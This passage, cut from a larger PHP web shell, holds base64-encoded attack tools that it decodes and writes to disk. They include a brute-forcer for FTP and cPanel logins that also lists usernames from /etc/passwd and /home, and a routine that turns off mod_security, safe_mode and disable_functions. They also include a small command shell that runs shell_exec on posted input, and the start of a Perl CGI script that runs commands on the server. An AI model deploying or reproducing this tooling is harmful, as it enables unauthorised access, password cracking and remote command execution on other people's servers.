+dXRlZm9yY2UgTGVuZ3RoOjwvc3Bhbj48L2ZvbnQ+CgkJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0 +ZXh0IiBuYW1lPSJtaW5fbGVuZ3RoIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDti +YWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJG1p +bl9sZW5ndGg7Pz4iPjwvaW5wdXQ+CgkJCQkJCQkJCQkJCTxicj4KCQkJCQkJCQkJCQkJPGZvbnQg +c3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAw +ODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPk1heCBCcnV0ZWZvcmNlIExlbmd0aDo8L3NwYW4+PC9m +b250PgoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWF4X2xlbmd0aCIgc3R5 +bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7YmFja2dyb3VuZDogYmxhY2s7Y29sb3I6UkVE +IiBzaXplPTQ4IHZhbHVlPSI8P3BocCBlY2hvICRtYXhfbGVuZ3RoOz8+Ij48L2lucHV0PgoJCQkJ +CQkJCQkJCQk8L3A+CiAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7Jm5ic3A7Jm5ic3A7 +Jm5ic3A7CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBuYW1lPSJzdWJt +aXQiIHN0eWxlPSJjb2xvcjogIzAwODAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4 +IHNvbGlkICMzMzMzMzM7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPjwvcD4KICAgICAgICAg +ICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJs +ZT4KCiAgICA8cCBhbGlnbj0iY2VudGVyIj48L3RkPgogIDwvdHI+CiAgPC9mb3JtPgoKPD9waHAK +ZnVuY3Rpb24gYnJ1dGUoKQp7CglnbG9iYWwgJHZhbHMsJG1pbl9sZW5ndGgsJG1heF9sZW5ndGg7 +CglnbG9iYWwgJHRhcmdldCwkcHVyZXVzZXIsJGNvbm5lY3RfdGltZW91dDsKCSRtaW49JG1pbl9s +ZW5ndGg7CgkkbWF4PSRtYXhfbGVuZ3RoOwoJJEEgPSBhcnJheSgpOwoJJG51bVZhbHMgPSBjb3Vu +dCgkdmFscyk7CgkkaW5jRG9uZSA9ICIiOwoJJHJlYWxNYXggPSAiIjsKCSRjdXJyZW50VmFsID0g +IiI7CgkkZmlyc3RWYWwgPSAiIjsKCWZvciAoJGkgPSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKysp +IHsKCQkkQVskaV0gPSAtMTsKCX0KCQoJZm9yICgkaSA9IDA7ICRpIDwgJG1heDsgJGkrKykgewoJ +CSRyZWFsTWF4ID0gJHJlYWxNYXggLiAkdmFsc1skbnVtVmFscyAtIDFdOwoJfQoJZm9yICgkaSA9 +IDA7ICRpIDwgJG1pbjsgJGkrKykgewoJCSRBWyRpXSA9ICR2YWxzWzBdOwoJfQoJJGkgPSAwOwoJ +d2hpbGUgKCRBWyRpXSAhPSAtMSkgewoJCSRmaXJzdFZhbCAuPSAkQVskaV07CgkJJGkrKzsKCX0K +CS8vZWNobyAkZmlyc3RWYWwgLiAiPGJyPiI7CgljcGFuZWxfY2hlY2soJHRhcmdldCwkcHVyZXVz +ZXIsJGZpcnN0VmFsLCRjb25uZWN0X3RpbWVvdXQpOwoJCgl3aGlsZSAoMSkgewoJCWZvciAoJGkg +PSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKyspIHsKCQkJaWYgKCRBWyRpXSA9PSAtMSkgewoJCQkJ +YnJlYWs7CgkJCX0KCQl9CgkJJGktLTsKCQkkaW5jRG9uZSA9IDA7CgkJd2hpbGUgKCEkaW5jRG9u +ZSkgewkKCQkJZm9yICgkaiA9IDA7ICRqIDwgJG51bVZhbHM7ICRqKyspIHsKCQkJCWlmICgkQVsk +aV0gPT0gJHZhbHNbJGpdKSB7CgkJCQkJYnJlYWs7CgkJCQl9CgkJCX0KCQkJaWYgKCRqID09ICgk +bnVtVmFscyAtIDEpKSB7CgkJCQkkQVskaV0gPSAkdmFsc1swXTsKCQkJCSRpLS07CgkJCQlpZiAo +JGkgPCAwKSB7CgkJCQkJZm9yICgkaSA9IDA7ICRpIDwgKCRtYXggKyAxKTsgJGkrKykgewoJCQkJ +CQlpZiAoJEFbJGldID09IC0xKSB7CgkJCQkJCQlicmVhazsKCQkJCQkJfQoJCQkJCX0KCQkJCQkk +QVskaV0gPSAkdmFsc1swXTsKCQkJCQkkQVskaSArIDFdID0gLTE7CgkJCQkJJGluY0RvbmUgPSAx +OwoJCQkJCXByaW50ICJTdGFydGluZyAiIC4gKHN0cmxlbigkY3VycmVudFZhbCkgKyAxKSAuICIg +Q2hhcmFjdGVycyBDcmFja2luZzxicj4iOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJEFbJGldID0g +JHZhbHNbJGogKyAxXTsKCQkJCSRpbmNEb25lID0gMTsKCQkJfQoJCX0KCQkkaSA9IDA7CgkJJGN1 +cnJlbnRWYWwgPSAiIjsKCQl3aGlsZSAoJEFbJGldICE9IC0xKSB7CgkJCSRjdXJyZW50VmFsID0g +JGN1cnJlbnRWYWwgLiAkQVskaV07CgkJCSRpKys7CgkJfQoJCWNwYW5lbF9jaGVjaygkdGFyZ2V0 +LCRwdXJldXNlciwkY3VycmVudFZhbCwkY29ubmVjdF90aW1lb3V0KTsKCQkvL2VjaG8gJGN1cnJl +bnRWYWwgLiAiPGJyPiI7CgkJaWYgKCRjdXJyZW50VmFsID09ICRyZWFsTWF4KSB7CgkJCXJldHVy +biAwOwoJCX0KCX0KfQpmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7CiAgIGxpc3QoJHVzZWMsICRz +ZWMpID0gZXhwbG9kZSgiICIsbWljcm90aW1lKCkpOwogICByZXR1cm4gKChmbG9hdCkkdXNlYyAr +IChmbG9hdCkkc2VjKTsKfSAKCmZ1bmN0aW9uIGZ0cF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywk +dGltZW91dCkKewogJGNoID0gY3VybF9pbml0KCk7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf +VVJMLCAiZnRwOi8vJGhvc3QiKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFO +U0ZFUiwgMSk7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JB +U0lDKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7CiBjdXJsX3Nl +dG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7CiBjdXJsX3NldG9wdCAo +JGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CiBjdXJsX3NldG9wdCgkY2gs +IENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwogJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKIGlmICgg +Y3VybF9lcnJubygkY2gpID09IDI4ICkKIHsKIHByaW50ICI8Yj48Zm9udCBmYWNlPVwiVmVyZGFu +YVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIj4KIDxmb250IGNvbG9yPVwiI0FBMDAwMFwiPkVy +cm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAwMFwiPkNvbm5lY3Rpb24gVGltZW91dAog +UGxlYXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLjwvZm9udD48L2ZvbnQ+PC9iPjwvcD4i +O2V4aXQ7CiB9CiBlbHNlIGlmICggY3VybF9lcnJubygkY2gpID09IDAgKQogewogIHByaW50ICI8 +Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwi +IzAwODAwMFwiPlt+XTwvZm9udD48L2I+PGZvbnQgZmFjZT1cIlRhaG9tYVwiICAgc3R5bGU9XCJm +b250LXNpemU6IDlwdFwiPjxiPjxmb250IGNvbG9yPVwiIzAwODAwMFwiPgogQ3JhY2tpbmcgU3Vj +Y2VzcyBXaXRoIFVzZXJuYW1lICZxdW90OzwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4k +dXNlcjwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIgogYW5kIFBhc3N3b3JkIFwiPC9m +b250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9yPVwiIzAw +ODAwMFwiPlwiPC9mb250PjwvYj48YnI+PGJyPiI7CiB9CiBjdXJsX2Nsb3NlKCRjaCk7Cn0KZnVu +Y3Rpb24gY3BhbmVsX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KQp7CiBnbG9iYWwg +JGNwYW5lbF9wb3J0OwogJGNoID0gY3VybF9pbml0KCk7CiAvL2VjaG8gImh0dHA6Ly8kaG9zdDoi +LiRjcGFuZWxfcG9ydC4iICR1c2VyICRwYXNzPGJyPiI7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxP +UFRfVVJMLCAiaHR0cDovLyRob3N0OiIgLiAkY3BhbmVsX3BvcnQpOwogY3VybF9zZXRvcHQoJGNo +LCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9I +VFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOwogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQ +V0QsICIkdXNlcjokcGFzcyIpOwogY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElN +RU9VVCwgJHRpbWVvdXQpOwogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAx +KTsKICRkYXRhID0gY3VybF9leGVjKCRjaCk7CiBpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCAp +CiB7CiAgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5hXCIgc3R5bGU9XCJmb250LXNpemU6 +IDlwdFwiPgogIDxmb250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNv +bG9yPVwiIzAwODAwMFwiPkNvbm5lY3Rpb24gVGltZW91dAogIFBsZWFzZSBDaGVjayBUaGUgVGFy +Z2V0IEhvc3RuYW1lIC48L2ZvbnQ+PC9mb250PjwvYj48L3A+IjtleGl0OwogfQogZWxzZSBpZiAo +IGN1cmxfZXJybm8oJGNoKSA9PSAwICkKIHsKICBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9t +YVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl08L2ZvbnQ+ +PC9iPjxmb250IGZhY2U9XCJUYWhvbWFcIiAgIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIj48Yj48 +Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4gCiAgQ3JhY2tpbmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1l +ICZxdW90OzwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udCBj +b2xvcj1cIiMwMDgwMDBcIj5cIgogIGFuZCBQYXNzd29yZCBcIjwvZm9udD48Zm9udCBjb2xvcj1c +IiNGRjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIjwvZm9udD48 +L2I+PGJyPjxicj4iOwogfQogY3VybF9jbG9zZSgkY2gpOwp9CgokdGltZV9zdGFydCA9IGdldG1p +Y3JvdGltZSgpOwoKaWYoaXNzZXQoJHN1Ym1pdCkgJiYgIWVtcHR5KCRzdWJtaXQpKQp7CiBpZihl +bXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSApCiB7CiAgIHByaW50ICI8cD48Zm9udCBmYWNl +PVwiVGFob21hXCIgc2l6ZT1cIjJcIj48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciA6 +IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIG9yIFBhc3N3b3JkIExpc3QgRW50cnkgLiAu +IC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9CiBpZihlbXB0eSgkdXNlcnMpKXsgcHJpbnQgIjxw +Pjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAnPkVy +cm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgVXNlcnMgTGlzdCBFbnRyeSAuIC4gLjwvYj48 +L2ZvbnQ+PC9wPiI7IGV4aXQ7IH0KIGlmKGVtcHR5KCRwYXNzKSAmJiAkX1JFUVVFU1RbJ2JydXRl +Zm9yY2UnXSE9InRydWUiICl7IHByaW50ICI8cD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzIn +PjxiPjxmb250IGNvbG9yPScjRkYwMDAwJz5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhl +IFBhc3N3b3JkIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9OwogJHVz +ZXJsaXN0PWV4cGxvZGUoIlxuIiwkdXNlcnMpOwogJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFz +cyk7CiBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5 +cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl0jPC9mb250Pjxmb250IGZhY2U9XCJUYWhvbWFcIiBz +dHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjRkYwMDAwXCI+CiBDcmFja2luZyBQcm9j +ZXNzIFN0YXJ0ZWQsIFBsZWFzZSBXYWl0IC4uLjwvZm9udD48L2I+PGJyPjxicj4iOwoKIGlmKGlz +c2V0KCRfUE9TVFsnY29ubmVjdF90aW1lb3V0J10pKQogewogICRjb25uZWN0X3RpbWVvdXQ9JF9Q +T1NUWydjb25uZWN0X3RpbWVvdXQnXTsKIH0KCiBpZigkY3JhY2t0eXBlID09ICJmdHAiKQogewog +IGZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgCiAgewogICAkcHVyZXVzZXIgPSB0cmltKCR1 +c2VyKTsKICAgZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIAogICB7CiAgICAgJHB1 +cmVwYXNzID0gdHJpbSgkcGFzc3dvcmQpOwogICAgIGZ0cF9jaGVjaygkdGFyZ2V0LCRwdXJldXNl +ciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7CiAgIH0KICB9CiB9CiAKIGlmICgkY3JhY2t0 +eXBlID09ICJjcGFuZWwiIHx8ICRjcmFja3R5cGUgPT0gImNwYW5lbDIiKQogewogIGlmKCRjcmFj +a3R5cGUgPT0gImNwYW5lbDIiKQogIHsKICAgJGNwYW5lbF9wb3J0PSIyMyI7CiAgfQogIGVsc2UK +ICAgJGNwYW5lbF9wb3J0PSIyMDgyIjsKICAKICBmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIp +IAogIHsKICAgJHB1cmV1c2VyID0gdHJpbSgkdXNlcik7CiAgIHByaW50ICI8Yj48Zm9udCBmYWNl +PVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwiPlt+ +XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiICBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIg +Y29sb3I9XCIjRkYwODAwXCI+CiAgIFByb2Nlc3NpbmcgdXNlciAkcHVyZXVzZXIgLi4uIDwvZm9u +dD48L2I+IjsKICAgaWYoJF9QT1NUWydicnV0ZWZvcmNlJ109PSJ0cnVlIikKICAgewogICAgZWNo +byAiIGJydXRlZm9yY2luZyAuLiI7CgllY2hvICI8YnI+IjsKCWJydXRlKCk7CiAgIH0KICAgZWxz +ZQogICB7CgkgZWNobyAiPGJyPiI7IAoJIGZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQg +KSAKICAgICB7CiAgICAgICAkcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CiAgICAgICBjcGFu +ZWxfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQpOwog +ICAgIH0KICAgfQogIH0KICAkdGltZV9lbmQgPSBnZXRtaWNyb3RpbWUoKTsKJHRpbWUgPSAkdGlt +ZV9lbmQgLSAkdGltZV9zdGFydDsgCiBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0 +eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl0jPC9mb250Pjxmb250 +IGZhY2U9XCJUYWhvbWFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjRkYwMDAw +XCI+CiBDcmFja2luZyBGaW5pc2hlZC4gRWxhcHNlZCB0aW1lOiAkdGltZTwvZm9udD4gc2Vjb25k +czwvYj48YnI+PGJyPiI7CiAgfQp9CgoKCj8+Cgo8cCBhbGlnbj0iY2VudGVyIj48Yj48YSBocmVm +PSJodHRwOi8vd3d3LmFsbTNyZWZoLmNvbS92YiI+CjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRp +b246IG5vbmUiPlN1bm5pPC9zcGFuPjwvYT48L2I+PC9wPgoKICAgICAgPGZvcm0gc3R5bGU9ImJv +cmRlcjogMHB4IHJpZGdlICNGRkZGRkYiPgoKCgoKICAgIDxwIGFsaWduPSJjZW50ZXIiPjwvdGQ+ +CiAgPC90cj48ZGl2IGFsaWduPSJjZW50ZXIiPgoKICAgICAgICAgICAgICAgIDx0cj4KCjwvZm9y +bT4KCgo8ZGl2IGFsaWduPSJjZW50ZXIiPgogPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwJSIg +Ym9yZGVyY29sb3JsaWdodD0iIzAwODAwMCIgYm9yZGVyY29sb3JkYXJrPSIjMDA2QTAwIiBoZWln +aHQ9IjEwMCIgY2VsbHNwYWNpbmc9IjEiPgo8dHI+Cjx0ZCBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4 +MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDZBMDAiPgo8cCBhbGlnbj0ibGVmdCI+Cjx0ZXh0YXJl +YSBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiAjMjAwMDAwO2Nv +bG9yOiNDQ0ZGRkYiIG1ldGhvZD0nUE9TVCcgcm93cz0iMjUiIG5hbWU9IlMxIiBjb2xzPSIyMiI+ +CgoKPD9waHAKICAgaWYgKGlzc2V0KCRfR0VUWyd1c2VyJ10pKQogICAgICBzeXN0ZW0oJ2xzIC92 +YXIvbWFpbCcpOyAKICAgaWYgKGlzc2V0KCRfUE9TVFsnZ3JhYl91c2VyczEnXSkpIC8vZ3JhYiB1 +c2VycyBmcm9tIC9ldGMvcGFzc3dkCiAgIHsKCSAgJGxpbmVzPWZpbGUoIi9ldGMvcGFzc3dkIik7 +CgkgIGZvcmVhY2goJGxpbmVzIGFzICRucj0+JHZhbCkKCSAgewoJICAgJHN0cj1leHBsb2RlKCI6 +IiwkdmFsKTsKCSAgIGVjaG8gJHN0clswXS4iXG4iOwoJICB9CgkgCiAgIH0KICAgaWYgKGlzc2V0 +KCRfUE9TVFsnZ3JhYl91c2VyczInXSkpCiAgICB7CiAgICAgJGRpciA9ICIvaG9tZS8iOwogICAg +IGlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRk +aXIoJGRoKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIGVjaG8gJGZpbGUuICJcbiI7CiAgICAg +ICAgfQoJCQljbG9zZWRpcigkZGgpOwoJCX0KCX0KPz4KPC90ZXh0YXJlYT4KPHRhYmxlPgo8dHI+ +Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1 +ZT0idHJ1ZSIgbmFtZT0iZ3JhYl91c2VyczEiPjwvaW5wdXQ+CjxpbnB1dCB0eXBlPXN1Ym1pdCB2 +YWx1ZT0iR3JhYiBVc2VybmFtZXMgZnJvbSAvZXRjL3Bhc3N3ZCI+PC9pbnB1dD4KPC9mb3JtPgo8 +L3RyPgo8YnI+Cjx0cj4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+CjxpbnB1dCB0eXBl +PSJoaWRkZW4iIHZhbHVlPSJ0cnVlIiBuYW1lPSJncmFiX3VzZXJzMiI+PC9pbnB1dD4KPGlucHV0 +IHR5cGU9c3VibWl0IHZhbHVlPSJHcmFiIFVzZXJuYW1lcyBmcm9tIC9ob21lLyI+PC9pbnB1dD4K +PC9mb3JtPgo8L3RyPgo8YnI+Cjx0cj4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+Cjxp +bnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSJ0cnVlIiBuYW1lPSJncmFiX3VzZXJzMyI+PC9pbnB1 +dD4KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHcmFiIFVzZXJuYW1lcyBmcm9tIC9ob21lLyBJ +SSI+PC9pbnB1dD4KPC9mb3JtPgo8L3RyPgo8L2Zvcm0+CjwvdGFibGU+Cjw/cGhwCmlmIChpc3Nl +dCgkX1BPU1RbJ2dyYWJfdXNlcnMzJ10pKQogICAgewoJCWVycm9yX3JlcG9ydGluZygwKTsKICAg +ICAkZGlyID0gIi9ob21lLyI7CgkgaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIAoJIHsKICAgICAg +ICAkZiA9IHJlYWRkaXIoJGRoKTskZiA9IHJlYWRkaXIoJGRoKTsKICAgICAgICB3aGlsZSAoKCRm +ID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIAogICAgICAgIHsKICAgICAgICAgICAgLy9lY2hv +ICRmLiAiXG4iOwogICAgICAgICAgICAkZi49Ii8iOwogICAgICAgICAgICAkZGgyPW9wZW5kaXIo +JGRpci4kZik7CiAgICAgICAgICAgICRmMiA9IHJlYWRkaXIoJGRoMik7JGYyID0gcmVhZGRpcigk +ZGgyKTsKICAgICAgICAgICAgd2hpbGUgKCgkZjIgPSByZWFkZGlyKCRkaDIpKSAhPT0gZmFsc2Up +IAogICAgICAgICAgICB7CiAgICAgICAgICAgICAvL2VjaG8gJGYyLiAiXG4iOwogICAgICAgICAg +ICAgJGYyLj0iLyI7CiAgICAgICAgICAgICAkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOwogICAg +ICAgICAgICAgJGYzID0gcmVhZGRpcigkZGgzKTskZjMgPSByZWFkZGlyKCRkaDMpOwogICAgICAg +ICAgICAgd2hpbGUgKCgkZjMgPSByZWFkZGlyKCRkaDMpKSAhPT0gZmFsc2UpIAogICAgICAgICAg +ICAgewogICAgICAgICAgICAgIGVjaG8gJGYzLiAiPGJyPiI7CiAgICAgICAgICAgICB9CiAgICAg +ICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgfQoJCQljbG9zZWRpcigkZGgpOwoJIH0KCX0K +Pz4='; + +$file = fopen("ftpcrack.php" ,"w+"); +$write = fwrite ($file ,base64_decode($crackftp)); +fclose($file); + +� �echo "<iframe src=ftpcrack.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_27": +mkdir('safeof', 0755); +chdir('safeof'); +$kokdosya = ".htaccess"; + +$dosya_adi = "$kokdosya"; +$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!"); +$metin = "<IfModule mod_security.c> +� � SecFilterEngine Off +� � SecFilterScanPOST Off +</IfModule>"; +fwrite ( $dosya , $metin ) ; +fclose ($dosya); + +$kokdosya = "php.ini"; + +$dosya_adi = "$kokdosya"; +$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!"); +$metin = "safe_mode � � � � �= � � � OFF +disable_functions � � � = � � � � � �NONE"; +fwrite ( $dosya , $metin ) ; +fclose ($dosya); +$mini = 'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdp +bj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49 +MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxjZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JE +RVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MCBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9y +RGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBi +b3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0 +cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMiIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMw +IiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwMzNGRiI+ +DQo8P3BocA0KZWNobyAiPGI+PGZvbnQgY29sb3I9Ymx1ZT5Db21tYW5kIFNoZWxsPC9mb250Pjwv +Yj48YnI+IjsNCnByaW50X3IoJw0KPHByZT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIi +Pg0KPGI+PGZvbnQgY29sb3I9Ymx1ZT5Lb211dCA6PC9mb250PjwvYj48aW5wdXQgbmFtZT0iYmFi +YSIgdHlwZT0idGV4dCI+PGlucHV0IHZhbHVlPSJCYXMga29tdXR1IGRheWkiIHR5cGU9InN1Ym1p +dCI+DQo8L2Zvcm0+DQo8L3ByZT4NCicpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5p +X3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KJGxpejA9c2hlbGxfZXhlYygkX1BPU1RbYmFiYV0p +OyANCiRsaXowemltPXNoZWxsX2V4ZWMoJF9QT1NUW2xpejBdKTsgDQokdWlkPXNoZWxsX2V4ZWMo +J2lkJyk7DQokc2VydmVyPXNoZWxsX2V4ZWMoJ3VuYW1lIC1hJyk7DQplY2hvICI8cHJlPjxoND4i +Ow0KZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPmlkIDo8L2ZvbnQ+PC9iPjokdWlkPGJyPiI7DQpl +Y2hvICI8Yj48Zm9udCBjb2xvcj1yZWQ+U2VydmVyPC9mb250PjwvYj46JHNlcnZlcjxicj4iOw0K +ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPktvbXV0IFNvbnXnbGFyMTo8L2ZvbnQ+PC9iPjxicj4i +OyANCmVjaG8gJGxpejA7DQplY2hvICRsaXowemltOw0KZWNobyAiPC9oND48L3ByZT4iOw0KPz4= +'; + +$file = fopen("safe.php" ,"w+"); +$write = fwrite ($file ,base64_decode($mini)); +fclose($file); +� �echo "<iframe src=safeof/safe.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_28": +� � mkdir('cgirun', 0755); +� � chdir('cgirun'); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "AddHandler cgi-script .pr"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIw0KIyBQZXJsS2l0LTAuMSAt +IFtEb2FyIHVzZXJpaSBpbnJlZ2lzdHJhdGkgcG90IHZlZGVhIGxpbmt1cmlsZS4gXQ0KIw0KIyBj +bWQucGw6IFJ1biBjb21tYW5kcyBvbiBhIHdlYnNlcnZlcg0KDQp1c2Ugc3RyaWN0Ow0KDQpteSAo +JGNtZCwgJUZPUk0pOw0KDQokfD0xOw0KDQpwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxc +clxuIjsNCnByaW50ICJcclxuIjsNCg0KIyBHZXQgcGFyYW1ldGVycw0KDQolRk9STSA9IHBhcnNl +X3BhcmFtZXRlcnMoJEVOVnsnUVVFUllfU1RSSU5HJ30pOw0KDQppZihkZWZpbmVkICRGT1JNeydj 